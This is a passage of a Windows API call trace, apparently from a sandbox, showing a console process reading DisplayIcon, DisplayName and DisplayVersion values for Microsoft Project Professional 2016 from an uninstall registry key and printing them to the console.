[0146.852] GetFileType (hFile=0x50) returned 0x1 [0146.853] lstrlenW (lpString="0x0") returned 3 [0146.853] GetConsoleOutputCP () returned 0x1b5 [0146.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.853] GetConsoleOutputCP () returned 0x1b5 [0146.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.853] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.853] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.853] __iob_func () returned 0x7fefd702a80 [0146.853] _fileno (_File=0x7fefd702ab0) returned 1 [0146.853] _errno () returned 0xc4bb0 [0146.853] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.853] _errno () returned 0xc4bb0 [0146.853] GetFileType (hFile=0x50) returned 0x1 [0146.853] lstrlenW (lpString="\n") returned 1 [0146.853] GetConsoleOutputCP () returned 0x1b5 [0146.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.853] GetConsoleOutputCP () returned 0x1b5 [0146.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.853] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.853] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.854] GetProcessHeap () returned 0x2e0000 [0146.854] GetProcessHeap () returned 0x2e0000 [0146.854] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.854] GetProcessHeap () returned 0x2e0000 [0146.854] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.854] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.854] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.854] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xa0) returned 0x0 [0146.854] GetProcessHeap () returned 0x2e0000 [0146.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa2) returned 0x2fd170 [0146.854] GetProcessHeap () returned 0x2e0000 [0146.854] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.854] GetProcessHeap () returned 0x2e0000 [0146.854] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.854] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd170, pcbData=0x23f670*=0xa0 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", pcbData=0x23f670*=0x9e) returned 0x0 [0146.854] __iob_func () returned 0x7fefd702a80 [0146.854] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.854] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.854] _fileno (_File=0x7fefd702ab0) returned 1 [0146.854] _errno () returned 0xc4bb0 [0146.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.854] _errno () returned 0xc4bb0 [0146.854] GetFileType (hFile=0x50) returned 0x1 [0146.854] lstrlenW (lpString=" ") returned 4 [0146.854] GetConsoleOutputCP () returned 0x1b5 [0146.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.854] GetConsoleOutputCP () returned 0x1b5 [0146.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.855] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.855] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.855] lstrlenW (lpString="DisplayIcon") returned 11 [0146.855] __iob_func () returned 0x7fefd702a80 [0146.855] _fileno (_File=0x7fefd702ab0) returned 1 [0146.855] _errno () returned 0xc4bb0 [0146.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.855] _errno () returned 0xc4bb0 [0146.855] GetFileType (hFile=0x50) returned 0x1 [0146.855] lstrlenW (lpString="DisplayIcon") returned 11 [0146.855] GetConsoleOutputCP () returned 0x1b5 [0146.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.855] GetConsoleOutputCP () returned 0x1b5 [0146.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0146.855] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.855] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.855] __iob_func () returned 0x7fefd702a80 [0146.855] _fileno (_File=0x7fefd702ab0) returned 1 [0146.855] _errno () returned 0xc4bb0 [0146.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.855] _errno () returned 0xc4bb0 [0146.855] GetFileType (hFile=0x50) returned 0x1 [0146.855] lstrlenW (lpString=" ") returned 4 [0146.856] GetConsoleOutputCP () returned 0x1b5 [0146.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.856] GetConsoleOutputCP () returned 0x1b5 [0146.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.856] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.856] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.856] __iob_func () returned 0x7fefd702a80 [0146.856] _fileno (_File=0x7fefd702ab0) returned 1 [0146.856] _errno () returned 0xc4bb0 [0146.856] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.856] _errno () returned 0xc4bb0 [0146.856] GetFileType (hFile=0x50) returned 0x1 [0146.856] lstrlenW (lpString="REG_SZ") returned 6 [0146.856] GetConsoleOutputCP () returned 0x1b5 [0146.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.856] GetConsoleOutputCP () returned 0x1b5 [0146.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.856] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.856] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.857] __iob_func () returned 0x7fefd702a80 [0146.857] _fileno (_File=0x7fefd702ab0) returned 1 [0146.857] _errno () returned 0xc4bb0 [0146.857] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.857] _errno () returned 0xc4bb0 [0146.857] GetFileType (hFile=0x50) returned 0x1 [0146.857] lstrlenW (lpString=" ") returned 4 [0146.857] GetConsoleOutputCP () returned 0x1b5 [0146.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.857] GetConsoleOutputCP () returned 0x1b5 [0146.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.857] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.857] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.857] __iob_func () returned 0x7fefd702a80 [0146.857] _fileno (_File=0x7fefd702ab0) returned 1 [0146.857] _errno () returned 0xc4bb0 [0146.857] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.857] _errno () returned 0xc4bb0 [0146.857] GetFileType (hFile=0x50) returned 0x1 [0146.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0146.857] GetConsoleOutputCP () returned 0x1b5 [0146.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.858] GetConsoleOutputCP () returned 0x1b5 [0146.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", cchWideChar=78, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", lpUsedDefaultChar=0x0) returned 78 [0146.858] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 78 [0146.858] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.858] __iob_func () returned 0x7fefd702a80 [0146.858] _fileno (_File=0x7fefd702ab0) returned 1 [0146.858] _errno () returned 0xc4bb0 [0146.858] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.858] _errno () returned 0xc4bb0 [0146.858] GetFileType (hFile=0x50) returned 0x1 [0146.858] lstrlenW (lpString="\n") returned 1 [0146.858] GetConsoleOutputCP () returned 0x1b5 [0146.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.858] GetConsoleOutputCP () returned 0x1b5 [0146.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.858] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.858] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.858] GetProcessHeap () returned 0x2e0000 [0146.858] GetProcessHeap () returned 0x2e0000 [0146.858] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.858] GetProcessHeap () returned 0x2e0000 [0146.858] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.859] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.859] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5a) returned 0x0 [0146.859] GetProcessHeap () returned 0x2e0000 [0146.859] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5c) returned 0x2fb7d0 [0146.859] GetProcessHeap () returned 0x2e0000 [0146.859] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.859] GetProcessHeap () returned 0x2e0000 [0146.859] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5c [0146.859] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x5a | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Project Professional 2016 - en-us", pcbData=0x23f670*=0x58) returned 0x0 [0146.859] __iob_func () returned 0x7fefd702a80 [0146.859] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.859] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.859] _fileno (_File=0x7fefd702ab0) returned 1 [0146.859] _errno () returned 0xc4bb0 [0146.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.859] _errno () returned 0xc4bb0 [0146.859] GetFileType (hFile=0x50) returned 0x1 [0146.859] lstrlenW (lpString=" ") returned 4 [0146.859] GetConsoleOutputCP () returned 0x1b5 [0146.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.859] GetConsoleOutputCP () returned 0x1b5 [0146.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.859] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.859] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.860] lstrlenW (lpString="DisplayName") returned 11 [0146.860] __iob_func () returned 0x7fefd702a80 [0146.860] _fileno (_File=0x7fefd702ab0) returned 1 [0146.860] _errno () returned 0xc4bb0 [0146.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.860] _errno () returned 0xc4bb0 [0146.860] GetFileType (hFile=0x50) returned 0x1 [0146.860] lstrlenW (lpString="DisplayName") returned 11 [0146.860] GetConsoleOutputCP () returned 0x1b5 [0146.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.860] GetConsoleOutputCP () returned 0x1b5 [0146.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0146.860] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.860] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.860] __iob_func () returned 0x7fefd702a80 [0146.860] _fileno (_File=0x7fefd702ab0) returned 1 [0146.860] _errno () returned 0xc4bb0 [0146.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.860] _errno () returned 0xc4bb0 [0146.860] GetFileType (hFile=0x50) returned 0x1 [0146.860] lstrlenW (lpString=" ") returned 4 [0146.860] GetConsoleOutputCP () returned 0x1b5 [0146.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.860] GetConsoleOutputCP () returned 0x1b5 [0146.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.861] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.861] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.861] __iob_func () returned 0x7fefd702a80 [0146.861] _fileno (_File=0x7fefd702ab0) returned 1 [0146.861] _errno () returned 0xc4bb0 [0146.861] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.861] _errno () returned 0xc4bb0 [0146.861] GetFileType (hFile=0x50) returned 0x1 [0146.861] lstrlenW (lpString="REG_SZ") returned 6 [0146.861] GetConsoleOutputCP () returned 0x1b5 [0146.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.861] GetConsoleOutputCP () returned 0x1b5 [0146.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.861] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.861] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.861] __iob_func () returned 0x7fefd702a80 [0146.861] _fileno (_File=0x7fefd702ab0) returned 1 [0146.861] _errno () returned 0xc4bb0 [0146.861] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.861] _errno () returned 0xc4bb0 [0146.861] GetFileType (hFile=0x50) returned 0x1 [0146.861] lstrlenW (lpString=" ") returned 4 [0146.862] GetConsoleOutputCP () returned 0x1b5 [0146.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.862] GetConsoleOutputCP () returned 0x1b5 [0146.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.862] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.862] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.862] __iob_func () returned 0x7fefd702a80 [0146.862] _fileno (_File=0x7fefd702ab0) returned 1 [0146.862] _errno () returned 0xc4bb0 [0146.862] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.862] _errno () returned 0xc4bb0 [0146.862] GetFileType (hFile=0x50) returned 0x1 [0146.862] lstrlenW (lpString="Microsoft Project Professional 2016 - en-us") returned 43 [0146.862] GetConsoleOutputCP () returned 0x1b5 [0146.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Project Professional 2016 - en-us", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.862] GetConsoleOutputCP () returned 0x1b5 [0146.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Project Professional 2016 - en-us", cchWideChar=43, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Project Professional 2016 - en-us", lpUsedDefaultChar=0x0) returned 43 [0146.862] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 43 [0146.862] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.863] __iob_func () returned 0x7fefd702a80 [0146.863] _fileno (_File=0x7fefd702ab0) returned 1 [0146.863] _errno () returned 0xc4bb0 [0146.863] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.863] _errno () returned 0xc4bb0 [0146.863] GetFileType (hFile=0x50) returned 0x1 [0146.863] lstrlenW (lpString="\n") returned 1 [0146.863] GetConsoleOutputCP () returned 0x1b5 [0146.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.863] GetConsoleOutputCP () returned 0x1b5 [0146.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.863] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.863] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.863] GetProcessHeap () returned 0x2e0000 [0146.863] GetProcessHeap () returned 0x2e0000 [0146.863] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.863] GetProcessHeap () returned 0x2e0000 [0146.863] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5c [0146.863] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.863] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.863] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x20) returned 0x0 [0146.863] GetProcessHeap () returned 0x2e0000 [0146.863] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x22) returned 0x2f5bf0 [0146.863] GetProcessHeap () returned 0x2e0000 [0146.863] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.863] GetProcessHeap () returned 0x2e0000 [0146.864] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0146.864] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x20 | out: pdwType=0x23f5f0*=0x1, pvData="16.0.8431.2079", pcbData=0x23f670*=0x1e) returned 0x0 [0146.864] __iob_func () returned 0x7fefd702a80 [0146.864] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.864] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.864] _fileno (_File=0x7fefd702ab0) returned 1 [0146.864] _errno () returned 0xc4bb0 [0146.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.864] _errno () returned 0xc4bb0 [0146.864] GetFileType (hFile=0x50) returned 0x1 [0146.864] lstrlenW (lpString=" ") returned 4 [0146.864] GetConsoleOutputCP () returned 0x1b5 [0146.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.864] GetConsoleOutputCP () returned 0x1b5 [0146.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.864] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.864] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.864] lstrlenW (lpString="DisplayVersion") returned 14 [0146.864] __iob_func () returned 0x7fefd702a80 [0146.864] _fileno (_File=0x7fefd702ab0) returned 1 [0146.864] _errno () returned 0xc4bb0 [0146.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.864] _errno () returned 0xc4bb0 [0146.864] GetFileType (hFile=0x50) returned 0x1 [0146.864] lstrlenW (lpString="DisplayVersion") returned 14 [0146.864] GetConsoleOutputCP () returned 0x1b5 [0146.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.865] GetConsoleOutputCP () 